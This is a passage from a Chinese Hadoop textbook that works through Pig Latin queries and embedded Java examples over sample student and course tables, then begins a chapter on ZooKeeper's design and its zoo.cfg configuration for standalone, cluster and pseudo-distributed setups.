gpa：float}\n另外，可以在加载数据的时候利用Zebra将其进行排序：\nA=LOAD'studentsortedtab'USING org.apache.hadoop.zebra.pig.TableLoader（''，'sorted'）；\n如上所示，将TableLoader的第一个参数设置为空代表加载所有的列。有序的表能够加快Merge Join的操作。\n限于篇幅，这里我们介绍了简单的Zebra和Pig的交互操作，其他更多内容大家可以查看Zebra的JAVA API。\n[1]\n http：//pig.apache.org/docs/r0.9.2/zebra_overview.html。\n14.6 Pig实例\n下面我们将结合第14.2.3节所介绍的Pig运行模式给出相应的例子。这里我们给出一个学生表（学号，姓名，性别，年龄，所在系），其中含有如下几条记录：\n201000101：李勇：男：20：计算机软件与理论\n201000102：王丽：女：19：计算机软件与理论\n201000103：刘花：女：18：计算机应用技术\n201000104：李肖：男：19：计算机系统结构\n201000105：吴达：男：19：计算机系统结构\n201000106：滑可：男：19：计算机系统结构\n它们所对应的数据类型如下所示：\nStudent（Sno：chararray, Sname：chararray, Ssex：chararray, Sage：int, Sdept：chararray）\n这里字段与字段之间通过冒号（半角英文标点）隔开，下面我们将在不同的运行方式下取出各个学生的姓名和年龄两个字段。\n李勇 20\n王丽 19\n刘花 18\n李肖 19\n吴达 19\n滑可 19\n 14.6.1 Local模式\n这一节我们将结合上面给出的实例，具体讲解如何在Pig的Local模式下对数据进行操作。同时，我们对Pig在Local模式下的三种运行方式都进行详细的介绍。\n1.Grunt Shell\n通过14.3.3一节中对Pig的数据模式的介绍，我们可以了解到，记录是域的有序集合。因此，在我们对数据进行操作之前，需要按照文件中数据相应的字段和类型来加载数据。通过下面的这一条命令，我们可以把前面给出的例子按照对应字段和对应数据类型进行加载：\ngrunt＞＞A=load'/path/Student'using PigStorage（'：'）as（Sno：chararray, Sname：chararray，\nSsex：chararray, Sage：int, Sdept：chararray）；\n通过Foreach命令，从A中选出Student相应的字段，并存储到B中：\ngrunt＞＞B=foreach A generate Sname, Sage；\n通过dump命令，将B中的内容输出到屏幕上：\ngrunt＞＞dump B；\n下面一步将B的内容输出到本地文件中：\ngrunt＞＞store B into'/path/grunt.out'；\n现在我们可以打开grunt.out文件来查看操作的结果，如下所示：\n李勇 20\n王丽 19\n刘花 18\n李肖 19\n吴达 19\n滑可 19\n2.脚本文件\n脚本文件实质上是pig命令的批处理文件。\n我们给出的script.pig文件包含以下内容：\nA=load'/path/Student'using PigStorage（'：'）as（Sno：chararray, Sname：chararray，\nSsex：chararray, Sage：int, Sdept：chararray）；\nB=foreach A generate Sname, Sage；\ndump B；\nstore B into'/path/tst.out'；\n可以看出，这个文件其实就是上面Grunt shell下命令的一个集合。\n我们通过下面的命令调用这个脚本文件，可以看到，生成的结果是完全相同的。\n3.嵌入式程序\n用户可以方便地使用Java语言来书写相应的Pig脚本，如代码清单14-2所示。\n代码清单14-2 Local模式下用Java编写的Pig脚本\npackage cn.edu.ruc.cloudcomputing.book.chapter14；\nimport java.io.IOException；\nimport org.apache.pig.PigServer；\npublic class tst_local{\npublic static void main（String[]args）{\ntry{\nPigServer pigServer=new PigServer（\"local\"）；\nrunIdQuery（pigServer，\"/path/Student\"）；//调用函数\n}\ncatch（Exception e）{}\n}\npublic static void runIdQuery（PigServer pigServer, String inputFile）throws\nIOException{\npigServer.registerQuery（\"A=load'\"+inputFile+\"'using PigStorage（'：'）as\n（Sno：chararray, Sname：chararray, Ssex：chararray, Sage：int, Sdept：chararray）；\"）；\npigServer.registerQuery（\"B=foreach A generate Sname, Sage；\"）；\npigServer.store（\"B\"，\"/path/tstJavaLocal.out\"）；\n}\n}\n下面我们将通过14.2.3节中所介绍的在嵌入式方式下运行pig脚本的命令来对此文件进行编译、运行。\n首先，使用下面命令对此Java源文件进行编译：\n$javac-cp pig-*.*.*-core.jar local.java\n当编译完成后，通过下面命令运行“.class”类文件：\n$java-cp pig-*.*.*-core.jar：.local\n然后打开生成的结果文件“tstJavaLocal.out”，我们会发现它和前面两种方式生成的结果是完全相同的。\n14.6.2 MapReduce模式\n这一节我们将结合上面给出的实例具体讲解如何在Pig的MapReduce模式下对数据进行操作。同时，我们同样对Pig在MapReduce模式下的三种运行方式进行详细介绍。\n1.Grunt Shell\nMapReduce模式下，Pig的使用其实是Pig Local模式和Hadoop操作的结合。因为要运行MapReduce程序我们需要在Hadoop的HDFS文件系统下对文件进行操作，但是在Linux系统下我们是看不到HDFS文件系统下的文件的，所以就不能使用常规的操作来“搬运”文件。这里，我们就需要使用与HDFS相关的命令在HDFS文件系统下执行Pig的命令。\n首先，从终端进入Pig的MapReduce模式，然后使用copyFromLocal命令将文件从本地复制到HDFS文件系统中，如下所示：\ngrunt＞＞copyFromLocal srcpath/Student dstpath；\n通过ls命令，我们可以查看是否成功将文件复制到相应的HDFS文件系统中了。操作完成后，我们就可以像在Local模式下一样对文件进行操作了。这里，Pig会自动地将我们的命令分散到分布式系统中去执行，然后返回给用户。\n2.脚本文件\n参考Local模式下脚本文件的执行。\n3.嵌入式程序\n参考Local模式下脚本文件的执行，这里我们给出MapReduce模式下程序的代码，可以看到，除了指定相应的模式之外，MapReduce模式下程序代码和Local模式没有什么不同。这是因为，所有的分布式操作将由Pig系统自动执行，而不需要用户在MapReduce的编程框架下设计程序，这就大大地减轻了用户的负担，也使得用户能更容易掌握Pig嵌入式程序，见代码清单14-3。\n代码清单14-3 MapReduce模式下的Pig脚本\npackage cn.edu.ruc.cloudcomputing.book.chapter14；\nimport java.io.IOException；\nimport org.apache.pig.PigServer；\npublic class tst_mapreduce{\npublic static void main（String[]args）{\ntry{\nPigServer pigServer=new PigServer（\"mapreduce\"）；//MapReduce模式\nrunIdQuery（pigServer，\"/path/Student\"）；//调用函数\n}\ncatch（Exception e）{}\n}\npublic static void runIdQuery（PigServer pigServer, String inputFile）throws\nIOException{\npigServer.registerQuery（\"A=load'\"+inputFile+\"'using PigStorage（'：'）as\n（Sno：chararray, Sname：chararray, Ssex：chararray, Sage：int, Sdept：chararray）；\"）；\npigServer.registerQuery（\"B=foreach A generate Sname, Sage；\"）；\npigServer.store（\"B\"，\"/path/tstJavaMapReduce.out\"）；\n}\n}\n14.7 Pig进阶\n本节将继续介绍Pig在实际中的应用，为了体现Pig系统的特点，本节中的所有操作都将在Hadoop MapReduce模式下进行。另外，我们选取了一组很有特点的例子进行数据分析，相信这对大家的理解一定很有帮助。\n为了让大家能够更好地理解下面的操作，我们使用Grunt Shell方式进行数据分析，这样能够让大家更加清楚地理解Pig的执行过程。\n 14.7.1 数据实例\n结合14.6节中的数据，我们再给出另外两个数据。\n第一组数据是14.6节中的学生表所对应的课程表（课程号、课程名、先修课程号、学分），它包含如下几条记录：\n01，English，4\n02，Data Structure，05，2\n03，DataBase，02，2\n04，DB Design，03，3\n05，C Language，3\n06，Principles Of Network，07，3\n07，OS，05，3\n它们所对应的数据类型如下所示：\nCourse（Cno：chararray, Cname：chararray, Cpno：chararray, Ccredit：int）\n另外一组数据为学生表和课程表所对应的选课表（学号、课程号、成绩），它包含如下几条记录：\n201000101，01，92\n201000101，03，84\n201000102，01，90\n201000102，02，94\n201000102，03，82\n201000103，01，72\n201000103，02，90\n201000104，03，75\n它们所对应的数据类型如下所示：\nSC（Sno：chararray, Cno：chararray, Grade：int）\n14.7.2 Pig数据分析\n下面我们将对学生表、课程表和选课表进行数据分析操作。这一小节将分三个部分，分别计算学生的平均成绩、找出有不及格成绩的学生和找出修了先修课为“C Language”的学生。在语法上，Pig Latin虽然没有关系数据库中的关系操作语言强大，但是因为Pig系统架设在Hadoop的云平台之上，所以在处理大规模数据集的时候，Pig的效率却非常高。\n1.计算每个学生的平均成绩\n这里要求计算出每个学生的平均成绩，并且输出每个学生的姓名及其平均成绩。\n我们先对数据进行分析。很容易看出，我们需要对学生表和选课表进行操作。首先，需要对学生表和选课表基于学号字段进行连接；然后，基于学号对学生数据进行操作，这时需要对每个学生所有的课程成绩分别求和，并除以课程总数；最后，按格式输出结果。\n对于传统的关系型数据库的关系操作语言来说，为了实现这个目标，我们需要AVG运算和GROUP运算同时使用，十分方便。下面，我们就Pig Latin语言给出相应的操作。\n1 从源数据文件学生表和选课表中读取数据\n2 对学生表和选课表基于学号字段进行连接操作\n3 基于学号对连接生成的表进行分组操作\n4 计算每个学生的平均成绩\n上面是对操作的描述，接下来需要对上述描述用Pig Latin语言来实现。\n（1）读取数据\nMapReduce在Hadoop的HDFS文件系统中对数据进行操作，所以需要复制要操作的数据到HDFS中：\ncopyFromLocal Student Student；\ncopyFromLocal SC SC\n可以使用Hadoop的ls命令查看数据是否复制成功，确认后再读取数据：\nA=load'Tmp/Student'using PigStorage（'：'）as（Sno：chararray, Sname：chararray, Ss\nex：chararray, Sage：int, Sdept：chararray）；B=load'Tmp/SC'using PigStorage（'，'）\nas（Sno：chararray, Cno：chararray, Grade：int）；\n（2）连接操作\n使用JOIN关键字对A、B两组数据基于Sno字段进行连接操作。JOIN关键字的语法如下：\nalias=JOIN alias BY{expression|'（'expression[，expression……]'）'}（，alias BY\n{expression|'（'expression[，expression……]'）'}……）[USING'replicated'|'skewed'\n|'merge'][PARALLEL n]；\n下面是连接操作的命令：\nD=Join A By Sno, B By Sno；\n这里我们可以使用DUMP关键字来查看D中存储的数据，如图14-4所示。\n图 14-4 对学生表和选课表进行连接操作后的结果\n（3）分组操作\n在进行分组操作之前，我们先提取必要的数据，这样不但减少了需要处理的数据量，而且让我们的操作更加简单。接着，我们基于学号字段对连接操作后的数据进行分组，如下所示：\nE=Foreach D generate A：Sno, Sname, Grade；\nF=Cogroup E By（Sno, Sname）；\n我们再使用DUMP关键字查看一下F中的数据，如图14-5所示。接着用DESCRIBE分析F的模式，如图14-6所示。\n图 14-5 F中的数据\n图 14-6 F的模式\n（4）计算学生的平均成绩\n我们使用SUM关键字对学生成绩进行求和，使用COUNT关键字来计算课程的总数：\nG=Foreach F Generate group.Sname，（SUM（E.Grade）/COUNT（E））；\n下面，我们查看一下最终的结果，如图14-7所示：\n图 14-7 学生平均成绩\n因为Grade字段的数据类型为int，所以这里计算出的结果均为向下取整后的值。如果想要得到更为准确的数据，大家可以将Grade字段的数据类型设为Long或Float。\n2.找出有不及格成绩的学生\n这部分要求找出有不及格成绩的学生，并且输出学生的姓名和不及格的课程和成绩。\n现在对问题进行分析。我们需要使用学生表来获取学生的姓名，使用课程表来获取学生的成绩和对应成绩的课程。\n首先，我们还是需要读取源数据，然后使用连接字段将数据连接在一起，接着使用FILTER关键字过滤出我们需要的数据，最后提取需要的字段将数据输出。\n这里我们不再像上面那样一步步地对数据进行分析了，下面给出Pig Latin操作语句：\nA=load'/pigTmp/Student'using PigStorage（'：'）as（Sno：chararray, Sname：chararra\ny, Ssex：chararray, Sage：int, Sdept：chararray）；--读取学生表\nB=load'/pigTmp/SC'using PigStorage（'，'）as（Sno：chararray, Cno：chararray, Grade\n：int）；--读取选课表\nC=load'/pigTmp/Course'using PigStorage（'，'）as（Cno：chararray, Cname：chararray，\nCpno：chararray, Ccredit：int）；--读取课程表\nD=Filter B By Grade＜60；--提前对B进行分析，过滤出需要的结果，减少操作的数据量\nE=Join D By Sno, A By Sno；--连接操作\nF=Join E By Cno, C By Cno；--连接操作\nG=Foreach F Generate Sname, Cname, Grade；--输出结果\n最后我们使用DUMP命令查看操作的结果，如图14-8所示：\n图 14-8 不及格成绩的学生\n3.找出修了先修课为“C Language”的学生\n这里要求找出修了先修课为“C Language”的学生，并且输出学生的姓名。\n现在，我们先对问题进行分析，从课程表的数据结构可以看出：我们需要找出“C Language”这门课的课程号，然后找对应“Cpno”（此课程号的课程），最后找出修了此门课程的学生，并输出学生的姓名。\nPig Latin语言支持嵌套的操作，所以在这一部分，我们使用嵌套语句来对数据进行操作，这样能够使Pig Latin语言的书写更加简便，更加有便于理解。因为嵌套的语句能够使程序的执行更加有层次感，使我们理解起来一目了然。\n为了让大家便于理解，我们给出单步的操作：\nA=load'/pigTmp/Student'using PigStorage（'：'）as（Sno：chararray, Sname：chararra\ny, Ssex：chararray, Sage：int, Sdept：chararray）；\nB=load'/pigTmp/SC'using PigStorage（'，'）as（Sno：chararray, Cno：chararray, Grade：int）；\nC=load'/pigTmp/Course'using PigStorage（'，'）as（Cno：chararray, Cname：chararray，\nCpno：chararray, Ccredit：int）；\nD=load'/pigTmp/Course'using PigStorage（'，'）as（Cno：chararray, Cname：chararray，\nCpno：chararray, Ccredit：int）；\nE=Join C By Cpno, D By Cno；--连接数据\nF=Filter E By D：Cname=='C Language'；--过滤出先修课名为C Language的记录\nG=Foreach F Generate C：Cno；--找出先修课为C Language课程的课程号\nH=Join G By Cno, B By Cno；--选课表和C Language课程的课程号做连接操作\nI=Join H By Sno, A By Sno；--选课表与目标课程号连接结果与学生表作连接操作\nJ=Foreach I Generate Sname--输出结果\n可以明显地看出，上面的操作十分地繁琐，下面我们将上面的语句嵌套起来。\n因为等号左面和右面的操作是完全等价的，也就是说，可以将模式名用对应的表达式替换。比如对于下面的句子：\nE=Join C By Cpno, D By Cno；--连接数据\nF=Filter E By D：Cname=='C Language'；--过滤出先修课名为C Language的记录\n我们可以这样写：\nF=Filter（Join C By Cpno, D By Cno；）By D：Cname=='C Language'；--过滤出先修课名为C Language的记录\n所以，这一问题可以按下面的Pig Latin语句来进行操作：\nA=load'/pigTmp/Student'using PigStorage（'：'）as（Sno：chararray, Sname：chararra\ny, Ssex：chararray, Sage：int, Sdept：chararray）；\nB=load'/pigTmp/SC'using PigStorage（'，'）as（Sno：chararray, Cno：chararray, Grade：int）；\nC=load'/pigTmp/Course'using PigStorage（'，'）as（Cno：chararray, Cname：chararray，\nCpno：chararray, Ccredit：int）；\nD=load'/pigTmp/Course'using PigStorage（'，'）as（Cno：chararray, Cname：chararray，\nCpno：chararray, Ccredit：int）；\nE=Foreach（Filter（Join C By Cpno, D By Cno）By D：Cname=='C Language'）\nGenerate C：Cno；\nF=Foreach（Join（Join B By Cno, E By Cno）By Sno, A By Sno）Generate Sname；\n当然，如果想一步执行完也是可以的，只需要将上面操作的后两步再嵌套起来即可：\nA=load'/pigTmp/Student'using PigStorage（'：'）as（Sno：chararray, Sname：chararra\ny, Ssex：chararray, Sage：int, Sdept：chararray）；\nB=load'/pigTmp/SC'using PigStorage（'，'）as（Sno：chararray, Cno：chararray, Grade：int）；\nC=load'/pigTmp/Course'using PigStorage（'，'）as（Cno：chararray, Cname：chararray，\nCpno：chararray, Ccredit：int）；\nD=load'/pigTmp/Course'using PigStorage（'，'）as（Cno：chararray, Cname：chararray，\nCpno：chararray, Ccredit：int）；\nE=Foreach（Join（Join B By Cno，（Foreach（Filter（Join C By Cpno, D By Cno）By\nD：Cname=='C Language'）Generate C：Cno）By Cno）By Sno, A By Sno）Generate Sname；\n下面，我们使用DUMP关键字来分别对上面三种方式查看下运行结果，发现输出结果是完全相同的，如图14-9所示：\n图 14-9 修了先修课为“C Language”的学生\n14.6 节通过一个简单的例子，让用户了解如何在Local模式和MapReduce模式下对数据进行操作。14.7节则进一步通过一组复杂的例子，对如何使用Pig Latin语言进行复杂的操作做了更深入的介绍。\n从14.6和14.7这两节实例操作中，我们可以看出，Pig Latin语言更擅长对海量数据进行分析。另外，Pig Latin语言还支持嵌套的操作，这样可以让Pig Latin语言编写的程序更加易于理解。\n鉴于Pig Latin语言的如上特点，我们可以使用Pig于对诸如日志等规则的、海量的并且需要定期维护的数据进行分析处理操作，这样可以大大地提高系统的工作效率。\n14.8 本章小结\n在本章中我们通过对Pig的实际操作，让大家对Pig有了一个新的认识。相信读完本章之后，大家可以使用Pig进行简单地数据处理了。Pig Latin语言不但自身提供了很多的函数供用户使用，而且大家可以根据实际情况结合Java和Pig Latin语言编写具有特定功能的函数。这体现了Pig的可扩展性和强大的功能。在使用Pig的过程中，还有很多技巧需要掌握，这一点大家可以在实际操作中慢慢地体会。另外，Pig还处于完善阶段。从0.5.0版到0.10.0版的发展过程中，Pig进行了很多调整，这离不开广大开发者的支持和帮助。希望大家能够通过对Pig的使用，向Apache Hadoop贡献自己的一份力量！\n第15章 ZooKeeper详解\n本章内容\nZooKeeper简介\nZooKeeper的安装和配置\nZooKeeper的简单操作\nZooKeeper的特性\n使用ZooKeeper进行Leader选举\nZooKeeper锁服务\n使用ZooKeeper创建应用程序\nBooKeeper\n本章小结\n15.1 ZooKeeper简介\nZooKeeper是一个为分布式应用所设计的开源协调服务。它可以为用户提供同步、配置管理、分组和命名等服务。用户可以使用ZooKeeper提供的接口方便地实现一致性、组管理、leader选举及某些协议。ZooKeeper意欲提供一个易于编程的环境，所以它的文件系统使用了我们所熟悉的目录树结构。ZooKeeper是使用Java编写的，但是它支持Java和C两种编程语言接口。\n众所周知，协调服务非常容易出错，而且很难从故障中恢复，例如，协调服务很容易处于竞态以至于出现死锁。ZooKeeper的设计目的是为了减轻分布式应用程序所承担的协调任务。\n 15.1.1 ZooKeeper的设计目标\n众所周知，分布式环境下的程序和活动为了达到协调一致的目的，通常具有某些共同的特点，例如，简单性、有序性等。ZooKeeper不但在这些目标的实现上有自身的特点，并且具有其独特的优势。下面我们将简述ZooKeeper的设计目标。\n（1）简单化\nZooKeeper允许分布式的进程通过共享体系的命名空间来进行协调，这个命名空间的组织与标准的文件系统非常相似，它是由一些数据寄存器组成的。用ZooKeeper的语法来说，这些寄存器应称为Znode，它们和文件及目录非常相似。典型的文件系统是基于存储设备的，然而，ZooKeeper的数据却是存放在内存当中的，这就意味着ZooKeeper可以达到一个高的吞吐量，并且低延迟。ZooKeeper的实现非常重视高性能、高可靠性，以及严格的有序访问。\nZooKeeper性能上的特点决定了它能够用在大型的、分布式的系统当中。从可靠性方面来说，它并不会因为一个节点的错误而崩溃。除此之外，它严格的序列访问控制意味着复杂的控制原语可以应用在客户端上。\n（2）健壮性\n组成ZooKeeper服务的服务器必须互相知道其他服务器的存在。它们维护着一个处于内存中的状态镜像，以及一个位于存储器中的交换日志和快照。只要大部分的服务器可用，那么ZooKeeper服务就可用。\n如果客户端连接到单个ZooKeeper服务器上，那么这个客户端就管理着一个TCP连接，并且通过这个TCP连接来发送请求、获得响应、获取检测事件，以及发送心跳。如果连接到服务器上的TCP连接断开，客户端将连接到其他的服务器上。\n（3）有序性\nZooKeeper可以为每一次更新操作赋予一个版本号，并且此版本号是全局有序的，不存在重复的情况。ZooKeeper所提供的很多服务也是基于此有序性的特点来完成。\n（4）速度优势\n它在读取主要负载时尤其快。ZooKeeper应用程序在上千台机器的节点上运行。另外，需要注意的是ZooKeeper有这样一个特点：当读工作比写工作更多的时候，它执行的性能会更好。\n除此之外，ZooKeeper还具有原子性、单系统镜像、可靠性的及时效性等特点。\n15.1.2 数据模型和层次命名空间\nZooKeeper提供的命名空间与标准的文件系统非常相似。它的名称是由通过斜线分隔的路径名序列所组成的。ZooKeeper中的每一个节点都是通过路径来识别的。\n图15-1是Zookeeper中节点的数据模型，这种树形结构的命名空间操作方便且易于理解。\n图 15-1 ZooKeeper的层次命名空间\n15.1.3 ZooKeeper中的节点和临时节点\n通过上一节的内容，大家可以了解到在ZooKeeper中存在着节点的概念，同时也知道了这些节点是通过像树一样的结构来进行维护的，并且每一个节点通过路径来标识及访问。除此之外，每一个节点还拥有自身的一些信息，包括：数据、数据长度、创建时间、修改时间等。从节点的这些特性（既含有数据，又通过路径来标识）可以看出，它既可以被看作是一个文件，又可以被看作是一个目录，因为它同时具有二者的特点。为了便于表达，后面我们将使用Znode来表示所讨论的ZooKeeper节点。\n具体地说，Znode维护着数据、访问控制列表（access control list, ACL）、时间戳等包含交换版本号信息的数据结构，通过对这些数据的管理使缓存中的数据生效，并且执行协调更新操作。每当Znode中的数据更新它所维护的版本号就会增加，这非常类似于数据库中计数器时间戳的操作方式。\n另外Znode还具有原子性操作的特点：在命名空间中，每一个Znode的数据将被原子地读写。读操作将读取与Znode相关的所有数据，写操作将替换掉所有的数据。除此之外，每一个节点都有一个访问控制列表，这个访问控制列表规定了用户操作的权限。\nZooKeeper中同样存在临时节点。这些节点与session同时存在，当session生命周期结束时，这些临时节点也将被删除。临时节点在某些场合也发挥着非常重要的作用，例如Leader选举、锁服务等。\n15.1.4 ZooKeeper的应用\nZooKeeper成功地应用于大量的工业程序中。它在Yahoo！被用作雅虎消息代理（Yahoo！Message Broker）的协调和故障恢复服务。雅虎消息代理是一个高度可扩展的发布-订阅系统，它管理着上千的总联机程序和信息控制系统（Total On-line Program and Information Control System, TOPICS），另外它还用于为Yahoo！crawler获取服务并进行故障维护。除此之外，一些Yahoo！广告系统也同样使用ZooKeeper来实现可靠的服务。\n15.2 ZooKeeper的安装和配置\n在这一节中，我们将首先向大家介绍如何在不同的环境下安装并配置ZooKeeper服务；然后具体介绍如何通过ZooKeeper配置文件对ZooKeeper进行配置管理；最后向大家介绍如何在不同环境下启动ZooKeeper服务。\n 15.2.1 安装ZooKeeper\nZooKeeper有不同的运行环境，包括：单机环境、集群环境和集群伪分布环境。这里，我们将分别介绍不同环境下如何安装ZooKeeper服务，并简单介绍它们的区别与联系。\n1.系统要求\n下面将说明安装ZooKeeper对系统和软件的要求。\n（1）支持的平台\nZooKeeper可以在不同的系统上运行，表15-1是关于这方面的一个简单说明。\n（2）软件要求\n首先，安装ZooKeeper需要Java的支持，并且要求1.6以上的版本。此外，对于集群的安装，ZooKeeper需要至少三个节点，我们建议将三个节点部署在不同的机器上。例如，Yahoo！将ZooKeeper部署在Red Hat Linux机器上，每台机器使用多核CPU，2G的内存和80G的IDE硬盘。\nJDK的安装已经在前面章节中有过详细介绍，这里不再赘述。\n注意 由于频繁的换入换出操作对系统的性能有较大的影响，为了避免这种情况的发生，建议将Java的堆大小设置为合适的值。一般说来，所设置的Java堆大小的值不应大于实际可用的内存值。对于具体的值的大小，可以通过负载测试来决定。例如，建议将4GB内存的机器的Java堆大小设置为3GB。\n系统中，要求大多数机器处于可用状态。如果想要集群能够忍受m台机器的故障，那么整个集群至少需要2m+1台机器。因为此时剩余的m+1台才能构成系统的一个大多数集。例如，对于拥有三台机器的集群，系统能够在一台机器发生故障的情况下仍然提供服务。\n另外，最好使用奇数台的机器。例如，拥有四台机器的ZooKeeper只能处理一台机器的故障，如果两台机器发生故障，余下的两台机器并不能组成一个可用的ZooKeeper大多数集（三台机器才能构成四台机器的大多数集）；而如果ZooKeeper拥有五台机器，那么它就能处理两台机器的故障了。\n2.单机下安装ZooKeeper\n（1）ZooKeeper的下载\n如果大家是第一次使用ZooKeeper，那么我们建议首先尝试在单机模式下配置ZooKeeper服务器。因为，在单机模式下配置和使用相对来说都要简单得多，并且易于帮助大家理解ZooKeeper的工作原理。这对进一步学习使用ZooKeeper会有很大的帮助。\n从Apache官方网站下载一个ZooKeeper的最新稳定版本，网址如下：\nhttp：//hadoop.apache.org/zookeeper/releases.html\n作为国内用户来说，选择最近的源文件服务器所在地，能够节省不少的时间，比如：\nhttp：//labs.renren.com/apache-mirror/hadoop/zookeeper/\n（2）ZooKeeper的安装\n为了今后操作方便，我们需要对ZooKeeper的环境变量进行配置，方法如下，在/etc/profile文件中加入如下的内容：\n#Set ZooKeeper Enviroment\nexport ZOOKEEPER_HOME=$HADOOP_HOME/zookeeper-3.4.3\nexport PATH=$PATH：$ZOOKEEPER_HOME/bin：$ZOOKEEPER_HOME/conf\nZooKeeper服务器包含在单个JAR文件中，安装此服务需要用户创建一个配置文档，并对其进行设置。我们在ZooKeeper-*.*.*目录（本书以当前ZooKeeper的最新版3.4.3为例，故在下文中此“ZooKeeper-*.*.*”都将写为“ZooKeeper-3.4.3”）的conf文件夹下创建一个zoo.cfg文件，它包含如下的内容：\ntickTime=2000\ndataDir=$HADOOP_HOME/zookeeper-3.4.3/data\nclientPort=2181\n在这个文件中，$HADOOP_HOME代表Hadoop的安装目录，为了使用的方便，我们将其放在Hadoop安装目录下。需要注意的是，ZooKeeper的运行并不依赖于Hadoop，也不依赖于HBase或其它与Hadoop相关的项目。此外，我们需要指定dataDir的值，它指向了一个目录，这个目录在开始的时候应为空。下面是每个参数的含义：\ntickTime：基本事件单元，以毫秒为单位。它用来指示心跳，最小的session过期时间为两倍的tickTime。\ndataDir：存储内存中数据库快照的位置，如果不设置参数，更新事务的日志将被存储到默认位置。\nclientPort：监听客户端连接的端口。\n使用单机模式时大家需要注意：这种配置方式下没有ZooKeeper副本，所以如果ZooKeeper服务器出现故障，ZooKeeper服务将会停止。\n代码清单15-1是我们根据自身情况所设置的ZooKeeper配置文档：zoo.cfg。\n代码清单15-1 ZooKeeper配置文档zoo.cfg\n#The number of milliseconds of each tick\ntickTime=2000\n#the directory where the snapshot is stored.\ndataDir=$HADOOP_HOME/zookeeper-3.4.3/data\n#the port at which the clients will connect\nclientPort=2181\n3.在集群下安装ZooKeeper\n为了获得可靠的ZooKeeper服务，用户应该在一个集群上部署ZooKeeper。只要集群上大多数的ZooKeeper服务启动了，那么总的ZooKeeper服务将是可用的。\n这之后的操作和单机模式的安装类似，我们同样需要对Java环境进行设置，下载最新的ZooKeeper稳定版本并配置相应的环境变量。每台机器上conf/zoo.cfg配置文件的参数设置相同，可参考代码清单15-2的配置。\n代码清单15-2 zoo.cfg中的参数设置\n#The number of milliseconds of each tick\ntickTime=2000\n#The number of ticks that the initial\n#synchronization phase can take\ninitLimit=10\n#The number of ticks that can pass between\n#sending a request and getting an acknowledgement\nsyncLimit=5\n#the port at which the clients will connect\nclientPort=2181\n#the directory where the snapshot is stored.\ndataDir=$HADOOP_HOME/zookeeper-3.4.3/data\n#the location of the log file\ndataLogDir=$HADOOP_HOME/zookeeper-3.4.3/log\nserver.1=zoo1：2888：3888\nserver.2=zoo2：2888：3888\nserver.3=zoo3：2888：3888\n更多关于ZooKeeper参数的设置请参看15.2.2节。“server.id=host：port：port.”标识了不同的ZooKeeper服务器的配置。每台服务器作为集群的一部分应该知道ensemble\n[1]\n 中的其他机器，用户可以从“server.id=host：port：port.”中读取相关的信息。参数中host和port比较直观。id标识的是不同的服务器，在服务器的data（dataDir参数所指定的目录）目录下创建一个文件名为myid的文件，这个文件中仅含一行的内容，它所指定的是自身的id值。比如，服务器“1”应该在myid文件中写入“1”。而且这个id值必须是ensemble中唯一的，大小在1到255之间。在这一行配置中，第一个端口（port）是从（follower）机器连接到主（leader）机器的端口，第二个是用来进行leader选举的端口。在这个例子中，每台机器使用三个端口，分别是：clientPort，2181；port，2888；port，3888。\n笔者在拥有三台机器的Hadoop集群上测试了ZooKeeper的安装，如上所示，代码清单15-2就是根据自身情况所设置的ZooKeeper配置文档。\n清单中的zoo1、zoo2及zoo3分别为三台机器的主机名，该项需要在Ubuntu的host环境中进行设置，这部分内容不是本书的重点，不再赘述。大家可以查阅Ubuntu以及Linux的相关资料。\n4.在集群伪分布模式下安装ZooKeeper\n通过前面的章节，读者了解到Hadoop可以在伪分布模式下模拟分布式Hadoop的运行。与它不同的是，ZooKeeper不但可以在单机上运行单机模式ZooKeeper，而且可以在单机上模拟集群模式ZooKeeper的运行，也就是将不同的节点运行在同一台机器上。我们索性将其称之为“集群伪分布模式”，以区别“单机模式”。我们知道，伪分布模式下Hadoop的操作和分布式模式下有着很大的不同，但是在集群伪分布模式下对ZooKeeper的操作却和集群模式下没有本质的区别。显然，集群伪分布模式为我们体验ZooKeeper和做一些尝试性的实验提供了很大的便利。比如，我们在实验的时候，可以先使用少量数据在集群伪分布模式下进行测试。当测试可行的时候，再将其移植到集群模式下进行真实的数据实验。这样不但保证了它的可行性，同时大大提高了实验的效率。\n那么，如何配置ZooKeeper的集群伪分布模式呢？其实很简单。用心的读者可以发现，在ZooKeeper配置文档中，clientPort参数是用来设置客户端连接ZooKeeper的端口。在server.1=IP1：2887：3887中，IP1指示的是组成ZooKeeper服务的机器IP地址，2887为进行leader选举的端口，3887是组成ZooKeeper服务的机器之间的通信端口。在集群伪分布模式下我们使用每个配置文档模拟一台机器，也就是说，需要在单台机器上运行多个ZooKeeper实例。但是，必须要保证各个配置文档的各个端口不能冲突。\n下面是我们所配置的集群伪分布模式，分别通过zoo1.cfg、zoo2.cfg、zoo3.cfg来模拟有三台机器的ZooKeeper集群。详见代码清单15-3至清单15-5。\n代码清单15-3 zoo1.cfg\n#The number of milliseconds of each tick\ntickTime=2000\n#The number of ticks that the initial\n#synchronization phase can take\ninitLimit=10\n#The number of ticks that can pass between\n#sending a request and getting an acknowledgement\nsyncLimit=5\n#the directory where the snapshot is stored.\ndataDir=$HADOOP_HOME/zookeeper-3.4.3/d_1\n#the port at which the clients will connect\nclientPort=2181\n#the location of the log file\ndataLogDir=$HADOOP_HOME/zookeeper-3.4.3/logs_1\nserver.1=localhost：2887：3887\nserver.2=localhost：2888：3888\nserver.3=localhost：2889：3889\n代码清单15-4 zoo2.cfg\n#The number of milliseconds of each tick\ntickTime=2000\n#The number of ticks that the initial\n#synchronization phase can take\ninitLimit=10\n#The number of ticks that can pass between\n#sending a request and getting an acknowledgement\nsyncLimit=5\n#the directory where the snapshot is stored.\ndataDir=$HADOOP_HOME/zookeeper-3.4.3/d_2\n#the port at which the clients will connect\nclientPort=2182\n#the location of the log file\ndataLogDir=$HADOOP_HOME/zookeeper-3.4.3/logs_2\nserver.1=localhost：2887：3887\nserver.2=localhost：2888：3888\nserver.3=localhost：2889：3889\n代码清单15-5 zoo3.cfg\n#The number of milliseconds of each tick\ntickTime=2000\n#The number of ticks that the initial\n#synchronization phase can take\ninitLimit=10\n#The number of ticks that can pass between\n#sending a request and getting an acknowledgement\nsyncLimit=5\n#the directory where the snapshot is stored.\ndataDir=$HADOOP_HOME/zookeeper-3.4.3/d_3\n#the port at which the clients will connect\nclientPort=2183\n#the location of the log 